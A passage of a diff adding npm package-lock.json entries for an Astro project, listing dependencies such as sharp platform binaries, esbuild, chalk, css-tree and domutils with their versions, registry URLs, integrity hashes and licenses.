+ "wasm32"
+ ],
+ "license": "Apache-2.0 AND LGPL-3.0-or-later AND MIT",
+ "optional": true,
+ "dependencies": {
+ "@emnapi/runtime": "^1.7.0"
+ },
+ "engines": {
+ "node": "^18.17.0 || ^20.3.0 || >=21.0.0"
+ },
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ }
+ },
+ "node_modules/astro/node_modules/@img/sharp-win32-arm64": {
+ "version": "0.34.5",
+ "resolved": "https://registry.npmjs.org/@img/sharp-win32-arm64/-/sharp-win32-arm64-0.34.5.tgz",
+ "integrity": "sha512-WQ3AgWCWYSb2yt+IG8mnC6Jdk9Whs7O0gxphblsLvdhSpSTtmu69ZG1Gkb6NuvxsNACwiPV6cNSZNzt0KPsw7g==",
+ "cpu": [
+ "arm64"
+ ],
+ "license": "Apache-2.0 AND LGPL-3.0-or-later",
+ "optional": true,
+ "os": [
+ "win32"
+ ],
+ "engines": {
+ "node": "^18.17.0 || ^20.3.0 || >=21.0.0"
+ },
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ }
+ },
+ "node_modules/astro/node_modules/@img/sharp-win32-ia32": {
+ "version": "0.34.5",
+ "resolved": "https://registry.npmjs.org/@img/sharp-win32-ia32/-/sharp-win32-ia32-0.34.5.tgz",
+ "integrity": "sha512-FV9m/7NmeCmSHDD5j4+4pNI8Cp3aW+JvLoXcTUo0IqyjSfAZJ8dIUmijx1qaJsIiU+Hosw6xM5KijAWRJCSgNg==",
+ "cpu": [
+ "ia32"
+ ],
+ "license": "Apache-2.0 AND LGPL-3.0-or-later",
+ "optional": true,
+ "os": [
+ "win32"
+ ],
+ "engines": {
+ "node": "^18.17.0 || ^20.3.0 || >=21.0.0"
+ },
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ }
+ },
+ "node_modules/astro/node_modules/@img/sharp-win32-x64": {
+ "version": "0.34.5",
+ "resolved": "https://registry.npmjs.org/@img/sharp-win32-x64/-/sharp-win32-x64-0.34.5.tgz",
+ "integrity": "sha512-+29YMsqY2/9eFEiW93eqWnuLcWcufowXewwSNIT6UwZdUUCrM3oFjMWH/Z6/TMmb4hlFenmfAVbpWeup2jryCw==",
+ "cpu": [
+ "x64"
+ ],
+ "license": "Apache-2.0 AND LGPL-3.0-or-later",
+ "optional": true,
+ "os": [
+ "win32"
+ ],
+ "engines": {
+ "node": "^18.17.0 || ^20.3.0 || >=21.0.0"
+ },
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ }
+ },
+ "node_modules/astro/node_modules/esbuild": {
+ "version": "0.27.7",
+ "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.27.7.tgz",
+ "integrity": "sha512-IxpibTjyVnmrIQo5aqNpCgoACA/dTKLTlhMHihVHhdkxKyPO1uBBthumT0rdHmcsk9uMonIWS0m4FljWzILh3w==",
+ "hasInstallScript": true,
+ "license": "MIT",
+ "bin": {
+ "esbuild": "bin/esbuild"
+ },
+ "engines": {
+ "node": ">=18"
+ },
+ "optionalDependencies": {
+ "@esbuild/aix-ppc64": "0.27.7",
+ "@esbuild/android-arm": "0.27.7",
+ "@esbuild/android-arm64": "0.27.7",
+ "@esbuild/android-x64": "0.27.7",
+ "@esbuild/darwin-arm64": "0.27.7",
+ "@esbuild/darwin-x64": "0.27.7",
+ "@esbuild/freebsd-arm64": "0.27.7",
+ "@esbuild/freebsd-x64": "0.27.7",
+ "@esbuild/linux-arm": "0.27.7",
+ "@esbuild/linux-arm64": "0.27.7",
+ "@esbuild/linux-ia32": "0.27.7",
+ "@esbuild/linux-loong64": "0.27.7",
+ "@esbuild/linux-mips64el": "0.27.7",
+ "@esbuild/linux-ppc64": "0.27.7",
+ "@esbuild/linux-riscv64": "0.27.7",
+ "@esbuild/linux-s390x": "0.27.7",
+ "@esbuild/linux-x64": "0.27.7",
+ "@esbuild/netbsd-arm64": "0.27.7",
+ "@esbuild/netbsd-x64": "0.27.7",
+ "@esbuild/openbsd-arm64": "0.27.7",
+ "@esbuild/openbsd-x64": "0.27.7",
+ "@esbuild/openharmony-arm64": "0.27.7",
+ "@esbuild/sunos-x64": "0.27.7",
+ "@esbuild/win32-arm64": "0.27.7",
+ "@esbuild/win32-ia32": "0.27.7",
+ "@esbuild/win32-x64": "0.27.7"
+ }
+ },
+ "node_modules/astro/node_modules/sharp": {
+ "version": "0.34.5",
+ "resolved": "https://registry.npmjs.org/sharp/-/sharp-0.34.5.tgz",
+ "integrity": "sha512-Ou9I5Ft9WNcCbXrU9cMgPBcCK8LiwLqcbywW3t4oDV37n1pzpuNLsYiAV8eODnjbtQlSDwZ2cUEeQz4E54Hltg==",
+ "hasInstallScript": true,
+ "license": "Apache-2.0",
+ "optional": true,
+ "dependencies": {
+ "@img/colour": "^1.0.0",
+ "detect-libc": "^2.1.2",
+ "semver": "^7.7.3"
+ },
+ "engines": {
+ "node": "^18.17.0 || ^20.3.0 || >=21.0.0"
+ },
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ },
+ "optionalDependencies": {
+ "@img/sharp-darwin-arm64": "0.34.5",
+ "@img/sharp-darwin-x64": "0.34.5",
+ "@img/sharp-libvips-darwin-arm64": "1.2.4",
+ "@img/sharp-libvips-darwin-x64": "1.2.4",
+ "@img/sharp-libvips-linux-arm": "1.2.4",
+ "@img/sharp-libvips-linux-arm64": "1.2.4",
+ "@img/sharp-libvips-linux-ppc64": "1.2.4",
+ "@img/sharp-libvips-linux-riscv64": "1.2.4",
+ "@img/sharp-libvips-linux-s390x": "1.2.4",
+ "@img/sharp-libvips-linux-x64": "1.2.4",
+ "@img/sharp-libvips-linuxmusl-arm64": "1.2.4",
+ "@img/sharp-libvips-linuxmusl-x64": "1.2.4",
+ "@img/sharp-linux-arm": "0.34.5",
+ "@img/sharp-linux-arm64": "0.34.5",
+ "@img/sharp-linux-ppc64": "0.34.5",
+ "@img/sharp-linux-riscv64": "0.34.5",
+ "@img/sharp-linux-s390x": "0.34.5",
+ "@img/sharp-linux-x64": "0.34.5",
+ "@img/sharp-linuxmusl-arm64": "0.34.5",
+ "@img/sharp-linuxmusl-x64": "0.34.5",
+ "@img/sharp-wasm32": "0.34.5",
+ "@img/sharp-win32-arm64": "0.34.5",
+ "@img/sharp-win32-ia32": "0.34.5",
+ "@img/sharp-win32-x64": "0.34.5"
+ }
+ },
+ "node_modules/axobject-query": {
+ "version": "4.1.0",
+ "resolved": "https://registry.npmjs.org/axobject-query/-/axobject-query-4.1.0.tgz",
+ "integrity": "sha512-qIj0G9wZbMGNLjLmg1PT6v2mE9AH2zlnADJD/2tC6E00hgmhUOfEB6greHPAfLRSufHqROIUTkw6E+M3lH0PTQ==",
+ "license": "Apache-2.0",
+ "engines": {
+ "node": ">= 0.4"
+ }
+ },
+ "node_modules/bail": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/bail/-/bail-2.0.2.tgz",
+ "integrity": "sha512-0xO6mYd7JB2YesxDKplafRpsiOzPt9V02ddPCLbY1xYGPOX24NTyN50qnUxgCPcSoYMhKpAuBTjQoRZCAkUDRw==",
+ "license": "MIT",
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/wooorm"
+ }
+ },
+ "node_modules/base-64": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/base-64/-/base-64-1.0.0.tgz",
+ "integrity": "sha512-kwDPIFCGx0NZHog36dj+tHiwP4QMzsZ3AgMViUBKI0+V5n4U0ufTCUMhnQ04diaRI8EX/QcPfql7zlhZ7j4zgg==",
+ "license": "MIT"
+ },
+ "node_modules/boolbase": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/boolbase/-/boolbase-1.0.0.tgz",
+ "integrity": "sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww==",
+ "license": "ISC"
+ },
+ "node_modules/boxen": {
+ "version": "8.0.1",
+ "resolved": "https://registry.npmjs.org/boxen/-/boxen-8.0.1.tgz",
+ "integrity": "sha512-F3PH5k5juxom4xktynS7MoFY+NUWH5LC4CnH11YB8NPew+HLpmBLCybSAEyb2F+4pRXhuhWqFesoQd6DAyc2hw==",
+ "license": "MIT",
+ "dependencies": {
+ "ansi-align": "^3.0.1",
+ "camelcase": "^8.0.0",
+ "chalk": "^5.3.0",
+ "cli-boxes": "^3.0.0",
+ "string-width": "^7.2.0",
+ "type-fest": "^4.21.0",
+ "widest-line": "^5.0.0",
+ "wrap-ansi": "^9.0.0"
+ },
+ "engines": {
+ "node": ">=18"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/camelcase": {
+ "version": "8.0.0",
+ "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-8.0.0.tgz",
+ "integrity": "sha512-8WB3Jcas3swSvjIeA2yvCJ+Miyz5l1ZmB6HFb9R1317dt9LCQoswg/BGrmAmkWVEszSrrg4RwmO46qIm2OEnSA==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=16"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/ccount": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/ccount/-/ccount-2.0.1.tgz",
+ "integrity": "sha512-eyrF0jiFpY+3drT6383f1qhkbGsLSifNAjA61IUjZjmLCWjItY6LB9ft9YhoDgwfmclB2zhu51Lc7+95b8NRAg==",
+ "license": "MIT",
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/wooorm"
+ }
+ },
+ "node_modules/chalk": {
+ "version": "5.6.2",
+ "resolved": "https://registry.npmjs.org/chalk/-/chalk-5.6.2.tgz",
+ "integrity": "sha512-7NzBL0rN6fMUW+f7A6Io4h40qQlG+xGmtMxfbnH/K7TAtt8JQWVQK+6g0UXKMeVJoyV5EkkNsErQ8pVD3bLHbA==",
+ "license": "MIT",
+ "engines": {
+ "node": "^12.17.0 || ^14.13 || >=16.0.0"
+ },
+ "funding": {
+ "url": "https://github.com/chalk/chalk?sponsor=1"
+ }
+ },
+ "node_modules/character-entities": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/character-entities/-/character-entities-2.0.2.tgz",
+ "integrity": "sha512-shx7oQ0Awen/BRIdkjkvz54PnEEI/EjwXDSIZp86/KKdbafHh1Df/RYGBhn4hbe2+uKC9FnT5UCEdyPz3ai9hQ==",
+ "license": "MIT",
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/wooorm"
+ }
+ },
+ "node_modules/character-entities-html4": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/character-entities-html4/-/character-entities-html4-2.1.0.tgz",
+ "integrity": "sha512-1v7fgQRj6hnSwFpq1Eu0ynr/CDEw0rXo2B61qXrLNdHZmPKgb7fqS1a2JwF0rISo9q77jDI8VMEHoApn8qDoZA==",
+ "license": "MIT",
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/wooorm"
+ }
+ },
+ "node_modules/character-entities-legacy": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/character-entities-legacy/-/character-entities-legacy-3.0.0.tgz",
+ "integrity": "sha512-RpPp0asT/6ufRm//AJVwpViZbGM/MkjQFxJccQRHmISF/22NBtsHqAWmL+/pmkPWoIUJdWyeVleTl1wydHATVQ==",
+ "license": "MIT",
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/wooorm"
+ }
+ },
+ "node_modules/character-reference-invalid": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/character-reference-invalid/-/character-reference-invalid-2.0.1.tgz",
+ "integrity": "sha512-iBZ4F4wRbyORVsu0jPV7gXkOsGYjGHPmAyv+HiHG8gi5PtC9KI2j1+v8/tlibRvjoWX027ypmG/n0HtO5t7unw==",
+ "license": "MIT",
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/wooorm"
+ }
+ },
+ "node_modules/chokidar": {
+ "version": "5.0.0",
+ "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-5.0.0.tgz",
+ "integrity": "sha512-TQMmc3w+5AxjpL8iIiwebF73dRDF4fBIieAqGn9RGCWaEVwQ6Fb2cGe31Yns0RRIzii5goJ1Y7xbMwo1TxMplw==",
+ "license": "MIT",
+ "dependencies": {
+ "readdirp": "^5.0.0"
+ },
+ "engines": {
+ "node": ">= 20.19.0"
+ },
+ "funding": {
+ "url": "https://paulmillr.com/funding/"
+ }
+ },
+ "node_modules/ci-info": {
+ "version": "4.4.0",
+ "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-4.4.0.tgz",
+ "integrity": "sha512-77PSwercCZU2Fc4sX94eF8k8Pxte6JAwL4/ICZLFjJLqegs7kCuAsqqj/70NQF6TvDpgFjkubQB2FW2ZZddvQg==",
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/sibiraj-s"
+ }
+ ],
+ "license": "MIT",
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/cli-boxes": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/cli-boxes/-/cli-boxes-3.0.0.tgz",
+ "integrity": "sha512-/lzGpEWL/8PfI0BmBOPRwp0c/wFNX1RdUML3jK/RcSBA9T8mZDdQpqYBKtCFTOfQbwPqWEOpjqW+Fnayc0969g==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=10"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/clsx": {
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/clsx/-/clsx-2.1.1.tgz",
+ "integrity": "sha512-eYm0QWBtUrBWZWG0d386OGAw16Z995PiOVo2B7bjWSbHedGl5e0ZWaq65kOGgUSNesEIDkB9ISbTg/JK9dhCZA==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=6"
+ }
+ },
+ "node_modules/collapse-white-space": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/collapse-white-space/-/collapse-white-space-2.1.0.tgz",
+ "integrity": "sha512-loKTxY1zCOuG4j9f6EPnuyyYkf58RnhhWTvRoZEokgB+WbdXehfjFviyOVYkqzEWz1Q5kRiZdBYS5SwxbQYwzw==",
+ "license": "MIT",
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/wooorm"
+ }
+ },
+ "node_modules/comma-separated-tokens": {
+ "version": "2.0.3",
+ "resolved": "https://registry.npmjs.org/comma-separated-tokens/-/comma-separated-tokens-2.0.3.tgz",
+ "integrity": "sha512-Fu4hJdvzeylCfQPp9SGWidpzrMs7tTrlu6Vb8XGaRGck8QSNZJJp538Wrb60Lax4fPwR64ViY468OIUTbRlGZg==",
+ "license": "MIT",
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/wooorm"
+ }
+ },
+ "node_modules/commander": {
+ "version": "11.1.0",
+ "resolved": "https://registry.npmjs.org/commander/-/commander-11.1.0.tgz",
+ "integrity": "sha512-yPVavfyCcRhmorC7rWlkHn15b4wDVgVmBA7kV4QVBsF7kv/9TKJAbAXVTxvTnwP8HHKjRCJDClKbciiYS7p0DQ==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=16"
+ }
+ },
+ "node_modules/common-ancestor-path": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/common-ancestor-path/-/common-ancestor-path-1.0.1.tgz",
+ "integrity": "sha512-L3sHRo1pXXEqX8VU28kfgUY+YGsk09hPqZiZmLacNib6XNTCM8ubYeT7ryXQw8asB1sKgcU5lkB7ONug08aB8w==",
+ "license": "ISC"
+ },
+ "node_modules/cookie": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/cookie/-/cookie-1.1.1.tgz",
+ "integrity": "sha512-ei8Aos7ja0weRpFzJnEA9UHJ/7XQmqglbRwnf2ATjcB9Wq874VKH9kfjjirM6UhU2/E5fFYadylyhFldcqSidQ==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=18"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/express"
+ }
+ },
+ "node_modules/cookie-es": {
+ "version": "1.2.3",
+ "resolved": "https://registry.npmjs.org/cookie-es/-/cookie-es-1.2.3.tgz",
+ "integrity": "sha512-lXVyvUvrNXblMqzIRrxHb57UUVmqsSWlxqt3XIjCkUP0wDAf6uicO6KMbEgYrMNtEvWgWHwe42CKxPu9MYAnWw==",
+ "license": "MIT"
+ },
+ "node_modules/crossws": {
+ "version": "0.3.5",
+ "resolved": "https://registry.npmjs.org/crossws/-/crossws-0.3.5.tgz",
+ "integrity": "sha512-ojKiDvcmByhwa8YYqbQI/hg7MEU0NC03+pSdEq4ZUnZR9xXpwk7E43SMNGkn+JxJGPFtNvQ48+vV2p+P1ml5PA==",
+ "license": "MIT",
+ "dependencies": {
+ "uncrypto": "^0.1.3"
+ }
+ },
+ "node_modules/css-select": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/css-select/-/css-select-6.0.0.tgz",
+ "integrity": "sha512-rZZVSLle8v0+EY8QAkDWrKhpgt6SA5OtHsgBnsj6ZaLb5dmDVOWUDtQitd9ydxxvEjhewNudS6eTVU7uOyzvXw==",
+ "license": "BSD-2-Clause",
+ "dependencies": {
+ "boolbase": "^1.0.0",
+ "css-what": "^7.0.0",
+ "domhandler": "^5.0.3",
+ "domutils": "^3.2.2",
+ "nth-check": "^2.1.1"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/fb55"
+ }
+ },
+ "node_modules/css-tree": {
+ "version": "3.2.1",
+ "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-3.2.1.tgz",
+ "integrity": "sha512-X7sjQzceUhu1u7Y/ylrRZFU2FS6LRiFVp6rKLPg23y3x3c3DOKAwuXGDp+PAGjh6CSnCjYeAul8pcT8bAl+lSA==",
+ "license": "MIT",
+ "dependencies": {
+ "mdn-data": "2.27.1",
+ "source-map-js": "^1.2.1"
+ },
+ "engines": {
+ "node": "^10 || ^12.20.0 || ^14.13.0 || >=15.0.0"
+ }
+ },
+ "node_modules/css-what": {
+ "version": "7.0.0",
+ "resolved": "https://registry.npmjs.org/css-what/-/css-what-7.0.0.tgz",
+ "integrity": "sha512-wD5oz5xibMOPHzy13CyGmogB3phdvcDaB5t0W/Nr5Z2O/agcB8YwOz6e2Lsp10pNDzBoDO9nVa3RGs/2BttpHQ==",
+ "license": "BSD-2-Clause",
+ "engines": {
+ "node": ">= 6"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/fb55"
+ }
+ },
+ "node_modules/cssesc": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-3.0.0.tgz",
+ "integrity": "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==",
+ "license": "MIT",
+ "bin": {
+ "cssesc": "bin/cssesc"
+ },
+ "engines": {
+ "node": ">=4"
+ }
+ },
+ "node_modules/csso": {
+ "version": "5.0.5",
+ "resolved": "https://registry.npmjs.org/csso/-/csso-5.0.5.tgz",
+ "integrity": "sha512-0LrrStPOdJj+SPCCrGhzryycLjwcgUSHBtxNA8aIDxf0GLsRh1cKYhB00Gd1lDOS4yGH69+SNn13+TWbVHETFQ==",
+ "license": "MIT",
+ "dependencies": {
+ "css-tree": "~2.2.0"
+ },
+ "engines": {
+ "node": "^10 || ^12.20.0 || ^14.13.0 || >=15.0.0",
+ "npm": ">=7.0.0"
+ }
+ },
+ "node_modules/csso/node_modules/css-tree": {
+ "version": "2.2.1",
+ "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-2.2.1.tgz",
+ "integrity": "sha512-OA0mILzGc1kCOCSJerOeqDxDQ4HOh+G8NbOJFOTgOCzpw7fCBubk0fEyxp8AgOL/jvLgYA/uV0cMbe43ElF1JA==",
+ "license": "MIT",
+ "dependencies": {
+ "mdn-data": "2.0.28",
+ "source-map-js": "^1.0.1"
+ },
+ "engines": {
+ "node": "^10 || ^12.20.0 || ^14.13.0 || >=15.0.0",
+ "npm": ">=7.0.0"
+ }
+ },
+ "node_modules/csso/node_modules/mdn-data": {
+ "version": "2.0.28",
+ "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.0.28.tgz",
+ "integrity": "sha512-aylIc7Z9y4yzHYAJNuESG3hfhC+0Ibp/MAMiaOZgNv4pmEdFyfZhhhny4MNiAfWdBQ1RQ2mfDWmM1x8SvGyp8g==",
+ "license": "CC0-1.0"
+ },
+ "node_modules/debug": {
+ "version": "4.4.3",
+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",
+ "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==",
+ "license": "MIT",
+ "dependencies": {
+ "ms": "^2.1.3"
+ },
+ "engines": {
+ "node": ">=6.0"
+ },
+ "peerDependenciesMeta": {
+ "supports-color": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/decode-named-character-reference": {
+ "version": "1.3.0",
+ "resolved": "https://registry.npmjs.org/decode-named-character-reference/-/decode-named-character-reference-1.3.0.tgz",
+ "integrity": "sha512-GtpQYB283KrPp6nRw50q3U9/VfOutZOe103qlN7BPP6Ad27xYnOIWv4lPzo8HCAL+mMZofJ9KEy30fq6MfaK6Q==",
+ "license": "MIT",
+ "dependencies": {
+ "character-entities": "^2.0.0"
+ },
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/wooorm"
+ }
+ },
+ "node_modules/defu": {
+ "version": "6.1.7",
+ "resolved": "https://registry.npmjs.org/defu/-/defu-6.1.7.tgz",
+ "integrity": "sha512-7z22QmUWiQ/2d0KkdYmANbRUVABpZ9SNYyH5vx6PZ+nE5bcC0l7uFvEfHlyld/HcGBFTL536ClDt3DEcSlEJAQ==",
+ "license": "MIT"
+ },
+ "node_modules/dequal": {
+ "version": "2.0.3",
+ "resolved": "https://registry.npmjs.org/dequal/-/dequal-2.0.3.tgz",
+ "integrity": "sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=6"
+ }
+ },
+ "node_modules/destr": {
+ "version": "2.0.5",
+ "resolved": "https://registry.npmjs.org/destr/-/destr-2.0.5.tgz",
+ "integrity": "sha512-ugFTXCtDZunbzasqBxrK93Ik/DRYsO6S/fedkWEMKqt04xZ4csmnmwGDBAb07QWNaGMAmnTIemsYZCksjATwsA==",
+ "license": "MIT"
+ },
+ "node_modules/detect-libc": {
+ "version": "2.1.2",
+ "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-2.1.2.tgz",
+ "integrity": "sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ==",
+ "license": "Apache-2.0",
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/deterministic-object-hash": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/deterministic-object-hash/-/deterministic-object-hash-2.0.2.tgz",
+ "integrity": "sha512-KxektNH63SrbfUyDiwXqRb1rLwKt33AmMv+5Nhsw1kqZ13SJBRTgZHtGbE+hH3a1mVW1cz+4pqSWVPAtLVXTzQ==",
+ "license": "MIT",
+ "dependencies": {
+ "base-64": "^1.0.0"
+ },
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/devalue": {
+ "version": "5.9.2",
+ "resolved": "https://registry.npmjs.org/devalue/-/devalue-5.9.2.tgz",
+ "integrity": "sha512-po4PAY5c53tw5XMocSnf8A/5OHhbbUftpr93aEN6BBoAdntUmK7vu7wOATqvt7cXO7m1Cl4gMVn6p7n6n4mj0w==",
+ "license": "MIT"
+ },
+ "node_modules/devlop": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/devlop/-/devlop-1.1.0.tgz",
+ "integrity": "sha512-RWmIqhcFf1lRYBvNmr7qTNuyCt/7/ns2jbpp1+PalgE/rDQcBT0fioSMUpJ93irlUhC5hrg4cYqe6U+0ImW0rA==",
+ "license": "MIT",
+ "dependencies": {
+ "dequal": "^2.0.0"
+ },
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/wooorm"
+ }
+ },
+ "node_modules/diff": {
+ "version": "8.0.4",
+ "resolved": "https://registry.npmjs.org/diff/-/diff-8.0.4.tgz",
+ "integrity": "sha512-DPi0FmjiSU5EvQV0++GFDOJ9ASQUVFh5kD+OzOnYdi7n3Wpm9hWWGfB/O2blfHcMVTL5WkQXSnRiK9makhrcnw==",
+ "license": "BSD-3-Clause",
+ "engines": {
+ "node": ">=0.3.1"
+ }
+ },
+ "node_modules/dlv": {
+ "version": "1.1.3",
+ "resolved": "https://registry.npmjs.org/dlv/-/dlv-1.1.3.tgz",
+ "integrity": "sha512-+HlytyjlPKnIG8XuRG8WvmBP8xs8P71y+SKKS6ZXWoEgLuePxtDoUEiH7WkdePWrQ5JBpE6aoVqfZfJUQkjXwA==",
+ "license": "MIT"
+ },
+ "node_modules/dom-serializer": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-2.0.0.tgz",
+ "integrity": "sha512-wIkAryiqt/nV5EQKqQpo3SToSOV9J0DnbJqwK7Wv/Trc92zIAYZ4FlMu+JPFW1DfGFt81ZTCGgDEabffXeLyJg==",
+ "license": "MIT",
+ "dependencies": {
+ "domelementtype": "^2.3.0",
+ "domhandler": "^5.0.2",
+ "entities": "^4.2.0"
+ },
+ "funding": {
+ "url": "https://github.com/cheeriojs/dom-serializer?sponsor=1"
+ }
+ },
+ "node_modules/dom-serializer/node_modules/entities": {
+ "version": "4.5.0",
+ "resolved": "https://registry.npmjs.org/entities/-/entities-4.5.0.tgz",
+ "integrity": "sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw==",
+ "license": "BSD-2-Clause",
+ "engines": {
+ "node": ">=0.12"
+ },
+ "funding": {
+ "url": "https://github.com/fb55/entities?sponsor=1"
+ }
+ },
+ "node_modules/domelementtype": {
+ "version": "2.3.0",
+ "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.3.0.tgz",
+ "integrity": "sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw==",
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/fb55"
+ }
+ ],
+ "license": "BSD-2-Clause"
+ },
+ "node_modules/domhandler": {
+ "version": "5.0.3",
+ "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-5.0.3.tgz",
+ "integrity": "sha512-cgwlv/1iFQiFnU96XXgROh8xTeetsnJiDsTc7TYCLFd9+/WNkIqPTxiM/8pSd8VIrhXGTf1Ny1q1hquVqDJB5w==",
+ "license": "BSD-2-Clause",
+ "dependencies": {
+ "domelementtype": "^2.3.0"
+ },
+ "engines": {
+ "node": ">= 4"
+ },
+ "funding": {
+ "url": "https://github.com/fb55/domhandler?sponsor=1"
+ }
+ },
+ "node_modules/domutils": {
+ "version": "3.2.2",
+ "resolved": "https://registry.npmjs.org/domutils/-/domutils-3.2.2.tgz",
+ "integrity": "sha512-6kZKyUajlDuqlHKVX1w7gyslj9MPIXzIFiz/rGu35uC1wMi+kMhQwGhl4lt9unC9Vb9INnY9Z3/ZA3+FhASLaw==",
+ "license": "BSD-2-Clause",
+ "dependencies": {
+ "dom-serializer": "^2.0.0",
+ "domelementtype": "^2.3.0",
+ "domhandler": "^5.0.3"
+ },
+ "funding": {
+ "url": "https://github.com/fb55/domutils?sponsor=1"
+ }
+ },
+ "node_modules/dset": {
+ "version": "3.1.4",
+ "resolved": "https://registry.npmjs.org/dset/-/dset-3.1.4.tgz",
+ "integrity": "sha512-2QF/g9/zTaPDc3BjNcVTGoBbXBgYfMTTceLaYcFJ/W9kggFUkhxD/hMEeuLKbugyef9SqAx8cpgwlIP/jinUTA==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=4"
+ }
+ },
+ "node_modules/emoji-regex": {
+ "version": "10.6.0",
+ "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-10.6.0.tgz",
+ "integrity": "sha512-toUI84YS5YmxW219erniWD0CIVOo46xGKColeNQRgOzDorgBi1v4D71/OFzgD9GO2UGKIv1C3Sp8DAn0+j5w7A==",
+ "license": "MIT"
+ },
+ "node_modules/entities": {
+ "version": "6.0.1",
+ "resolved": "https://registry.npmjs.org/entities/-/entities-6.0.1.tgz",
+ "integrity": "sha512-aN97NXWF6AWBTahfVOIrB/NShkzi5H7F9r1s9mD3cDj4Ko5f2qhhVoYMibXF7GlLveb/D2ioWay8lxI97Ven3g==",
+ "license": "BSD-2-Clause",
+ "engines": {
+ "node": ">=0.12"
+ },
+ "funding": {
+ "url": "https://github.com/fb55/entities?sponsor=1"
+ }
+ },
+ "node_modules/es-module-lexer": {
+ "version": "1.7.0",
+ "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-1.7.0.tgz",
+ "integrity": "sha512-jEQoCwk8hyb2AZziIOLhDqpm5+2ww5uIE6lkO/6jcOCusfk6LhMHpXXfBLXTZ7Ydyt0j4VoUQv6uGNYbdW+kBA==",
+ "license": "MIT"
+ },
